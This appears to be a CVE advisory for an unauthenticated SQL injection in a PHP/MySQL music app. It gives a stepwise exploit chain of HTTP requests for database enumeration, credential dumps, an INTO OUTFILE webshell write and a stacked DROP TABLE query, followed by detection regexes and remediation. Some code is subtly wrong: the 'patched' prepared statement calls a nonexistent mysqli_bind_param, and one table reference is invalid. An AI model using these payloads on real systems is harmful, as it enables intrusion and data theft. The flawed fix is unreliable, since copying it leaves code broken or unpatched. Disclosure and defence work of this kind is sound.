CVE-2026-37336: SQL Injection to RCE in Simple Music Cloud v1.0

Vulnerability Overview

SourceCodester Simple Music Cloud Community System v1.0 contains an unauthenticated SQL injection vulnerability in /music/view_music.php. The application passes a user-controlled request parameter directly into a MySQL query with no parameterization, escaping, or type enforcement. An attacker with network access to the web application can enumerate the full database, extract credentials, and — depending on server configuration — achieve remote code execution via INTO OUTFILE or stacked query abuse.

This vulnerability requires no authentication. The affected endpoint is publicly reachable in a default deployment. CVSS 7.3 (HIGH) reflects network attack vector, low complexity, no privileges required, and high confidentiality/integrity impact.

Affected Component

File: /music/view_music.php
Parameter: id (GET)
Backend: MySQL via raw mysqli_query()
Auth required: None
Version: Simple Music Cloud Community System v1.0 (SourceCodester)

The view_music.php endpoint accepts a music track identifier and renders metadata and the audio player for that track. The id parameter is consumed directly in a SELECT statement with no sanitization layer between the HTTP request and the database engine.

Root Cause Analysis

The following pseudocode reconstructs the vulnerable logic in view_music.php based on the standard SourceCodester PHP/MySQL pattern used across their codebase family. The bug is a textbook first-order SQL injection — attacker input is concatenated into a query string without escaping or prepared statements.

/*
 * Reconstructed pseudocode: /music/view_music.php
 * Language: PHP (represented as C pseudocode for structural clarity)
 *
 * Called on GET /music/view_music.php?id=
 */

int view_music_handler(http_request_t *req, db_conn_t *conn) {

    /* --- Parameter extraction --- */
    char *id_param = http_get_param(req, "id");
    // BUG: id_param is attacker-controlled; no intval(), no type check,
    //      no mysqli_real_escape_string(), no prepared statement.

    /* --- Query construction via string concatenation --- */
    char query[512];
    snprintf(query, sizeof(query),
        "SELECT * FROM music WHERE id = %s",
        id_param);                          // BUG: direct interpolation here

    /* --- Execution against live DB connection --- */
    db_result_t *result = mysqli_query(conn, query);
    if (result == NULL) {
        // Error silently suppressed in some configs (display_errors = Off)
        // Error visible in dev deployments — aids attacker enumeration
        render_error(req, mysqli_error(conn));
        return HTTP_500;
    }

    /* --- Render fetched row to HTML --- */
    db_row_t *row = mysqli_fetch_assoc(result);
    render_music_view(req, row);            // row fields written directly to response
    return HTTP_200;
}

The concrete vulnerable PHP line reconstructed from SourceCodester convention:

// Equivalent PHP (SourceCodester pattern):
//   $id = $_GET['id'];
//   $query = "SELECT * FROM music WHERE id = $id";
//   $result = mysqli_query($conn, $query);
//
// No intval($id), no (int)$id cast, no prepared statement.
// mysqli_real_escape_string() is absent entirely.

Exploitation Mechanics

Because the injected value sits at the tail of a WHERE id = ... clause with no surrounding quotes (integer context), the attacker does not need to break out of string delimiters. A bare UNION SELECT or subquery appends cleanly.

EXPLOIT CHAIN:

1. FINGERPRINT
   GET /music/view_music.php?id=1 HTTP/1.1
   -> Normal response. Confirm endpoint is live and parameter is consumed.

2. ERROR CONFIRMATION
   GET /music/view_music.php?id=1' HTTP/1.1
   -> MySQL syntax error visible (or timing difference if errors suppressed).
   -> Confirms raw query execution with no escaping.

3. COLUMN COUNT ENUMERATION
   GET /music/view_music.php?id=0 ORDER BY 8-- -
   GET /music/view_music.php?id=0 ORDER BY 9-- -
   -> Determines column count of music table (error on N+1).

4. UNION-BASED DATA EXTRACTION
   GET /music/view_music.php?id=0 UNION SELECT 1,2,3,user(),5,6,7,8-- -
   -> Reflected column reveals: current DB user (e.g., root@localhost).
   -> Swap user() for database(), version(), @@datadir as needed.

5. CREDENTIAL DUMP
   GET /music/view_music.php?id=0 UNION SELECT
     1,2,3,concat(user,0x3a,password),5,6,7,8
     FROM mysql.information_schema.users-- -
   -> Extracts MySQL user hashes. If app runs as root, full schema access.

6. APPLICATION CREDENTIAL DUMP
   GET /music/view_music.php?id=0 UNION SELECT
     1,2,3,concat(username,0x3a,password),5,6,7,8
     FROM users LIMIT 1-- -
   -> Extracts admin credentials from application users table.

7. (CONDITIONAL) RCE VIA INTO OUTFILE
   Precondition: FILE privilege on DB user + writable web root + known path.

   GET /music/view_music.php?id=0 UNION SELECT
     1,2,3,"",5,6,7,8
     INTO OUTFILE '/var/www/html/music/shell.php'-- -
   -> Writes PHP webshell to document root.
   -> Verify: GET /music/shell.php?cmd=id -> uid=33(www-data)

8. (CONDITIONAL) STACKED QUERY ABUSE
   If mysqli_multi_query() is in use (less common but present in some builds):
   GET /music/view_music.php?id=1; DROP TABLE users;-- -
   -> Destructive write capability confirmed.

Step 7 depends entirely on MySQL's FILE privilege being granted to the application DB user and the web root being writable by the MySQL process. Default SourceCodester deployments on shared LAMP stacks frequently run MySQL as root with no privilege separation, making this viable. CVSS scores this at HIGH rather than CRITICAL specifically because RCE is conditional on server misconfiguration.

Memory Layout

SQL injection in a PHP/MySQL context does not involve heap corruption, but the query buffer layout is relevant for understanding injection boundaries and payload sizing constraints.

QUERY BUFFER STATE — BEFORE INJECTION:

  query_string = "SELECT * FROM music WHERE id = 1"
  |<--- static prefix: 31 bytes --->|<- id: 1 byte ->|
  Remaining buffer space in snprintf(query, 512, ...): 480 bytes

QUERY BUFFER STATE — AFTER INJECTION (UNION payload):

  query_string = "SELECT * FROM music WHERE id = 0 UNION SELECT
                  1,2,3,concat(username,0x3a,password),5,6,7,8
                  FROM users LIMIT 1-- -"
  |<--- static prefix: 31 bytes --->|<--- injected: ~85 bytes --->|
  Total: ~116 bytes — well within 512-byte snprintf cap.

  NOTE: snprintf cap of 512 limits blind-based payload length.
        UNION-based and error-based techniques are unrestricted
        at the MySQL engine level regardless of PHP buffer size —
        MySQL receives the full query once written.

MYSQL SERVER QUERY PARSE:
  Input tokens:  SELECT | * | FROM | music | WHERE | id | = | [INJECTED_SUBQUERY]
  Parser sees:   Valid SELECT ... UNION SELECT — executes both halves.
  Result set:    UNION result returned to PHP, rendered into HTML response.

Patch Analysis

No official patch has been released by SourceCodester as of publication. The correct remediation is a prepared statement. The following diff shows the vulnerable pattern versus the correct fix:

// BEFORE (vulnerable): /music/view_music.php
// ============================================
$id     = $_GET['id'];
$query  = "SELECT * FROM music WHERE id = $id";
// BUG: $id is unsanitized attacker input concatenated into SQL string.
$result = mysqli_query($conn, $query);


// AFTER (patched — prepared statement):
// ============================================
$id   = $_GET['id'];
$stmt = mysqli_prepare($conn, "SELECT * FROM music WHERE id = ?");
// FIX: query structure is fixed at prepare time; id is bound as integer.
mysqli_bind_param($stmt, "i", $id);
mysqli_execute($stmt);
$result = mysqli_stmt_get_result($stmt);


// ALTERNATIVE FIX (minimum viable — type coercion):
// ============================================
$id     = intval($_GET['id']);
// FIX: intval() forces integer type, truncating any non-numeric suffix.
//      Injection payload "0 UNION SELECT ..." becomes integer 0.
//      Less robust than prepared statements but breaks this specific vector.
$query  = "SELECT * FROM music WHERE id = $id";
$result = mysqli_query($conn, $query);

The prepared statement variant is the only hardened solution. intval() mitigation is fragile — it works for integer-context injections but provides no protection if the same pattern appears in a string-context query elsewhere in the codebase. A global audit of all $_GET / $_POST interpolations into query strings is required.

Detection and Indicators

Detection focuses on anomalous query patterns in MySQL general/slow query logs and HTTP access log signatures:

HTTP ACCESS LOG INDICATORS:
  - GET parameters containing: UNION, SELECT, information_schema,
    INTO OUTFILE, 0x, concat(, sleep(, benchmark(
  - URL-encoded variants: %55%4e%49%4f%4e, %27, %20UNION%20
  - id parameter values non-numeric (e.g., id=1' or id=0 UNION)

MYSQL GENERAL QUERY LOG INDICATORS:
  Query   SELECT * FROM music WHERE id = 0 UNION SELECT ...
  Query   SELECT * FROM music WHERE id = 1 ORDER BY 9--
  Query   SELECT ... INTO OUTFILE '/var/www/html/...'

WEBSHELL DROP INDICATOR:
  New .php file creation in web root with mtime matching attack window.
  Filesystem: /var/www/html/music/*.php files not in original deployment.
  Content signature: system($_GET or passthru($_GET or exec($_GET

IDS/WAF SIGNATURES:
  UNION.*SELECT.*FROM                    (regex, case-insensitive)
  information_schema\.tables             (literal)
  INTO\s+OUTFILE\s+'[^']*\.php'         (regex)
  ORDER\s+BY\s+\d+--                    (regex)

Remediation

Immediate: If the application cannot be patched immediately, restrict access to /music/view_music.php at the WAF or reverse proxy layer. A ModSecurity rule enforcing id as \d+ (digits only) blocks the primary injection vector:

# Apache mod_rewrite immediate mitigation:
RewriteEngine On
RewriteCond %{QUERY_STRING} !^id=[0-9]+$
RewriteRule ^/music/view_music\.php$ - [F,L]

# nginx equivalent:
location = /music/view_music.php {
    if ($arg_id !~ "^[0-9]+$") {
        return 403;
    }
    fastcgi_pass php_backend;
}

Permanent:

1. Replace all raw query interpolation with mysqli_prepare() / PDO::prepare() bound parameters throughout the codebase — not only in view_music.php.
2. Revoke FILE privilege from the application database user. The app user needs only SELECT, INSERT, UPDATE, DELETE on its own schema.
3. Set display_errors = Off in php.ini for production — error verbosity aids attacker column enumeration.
4. Run MySQL as a non-root system user; restrict @@secure_file_priv to a non-web-accessible path to prevent INTO OUTFILE webshell writes.
5. Audit all $_GET, $_POST, $_COOKIE, and $_REQUEST references in the codebase with grep -rn '\$_(GET|POST|REQUEST|COOKIE)' . | grep -v 'intval\|prepare\|escape' and remediate each finding.